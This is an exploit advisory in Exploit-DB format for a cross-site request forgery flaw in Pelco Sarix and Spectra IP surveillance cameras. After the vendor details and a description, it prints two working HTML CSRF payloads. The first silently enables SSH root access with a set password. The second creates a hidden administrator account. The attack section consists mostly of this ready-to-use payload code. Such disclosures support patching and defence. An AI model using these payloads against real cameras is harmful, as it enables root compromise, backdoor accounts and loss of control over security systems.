Pelco Sarix/Spectra Cameras - Cross-Site Request Forgery (Enable SSH Root Access)

EDB-ID: 42308
Author: LiquidWorm
Published: 2017-07-10
Type: Webapps
Platform: Hardware
Vulnerable App: N/A


Vendor: Schneider Electric SE
Product web page:
Affected version: Sarix Enhanced - Model: IME219 (Firmware:
Sarix Enhanced - Model: IME119 (Firmware:
Sarix - Model: D5230 (Firmware:
Sarix - Model: ID10DN (Firmware:
Spectra Enhanced - Model: D6230 (Firmware:

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2017-5416
Advisory URL:



CSRF enable ssh root access:

<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="password" value="root123" />
<input type="hidden" name="password&#95;confirmation" value="root123" />
<input type="submit" value="Go root" />

CSRF add admin:

<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="original&#95;username" value="" />
<input type="hidden" name="mode" value="create" />
<input type="hidden" name="group" value="admins" />
<input type="hidden" name="username" value="pelco_admin" />
<input type="hidden" name="password" value="pelco_pass" />
<input type="hidden" name="password&#95;confirmation" value="pelco_pass" />
<input type="submit" value="Add admin" />

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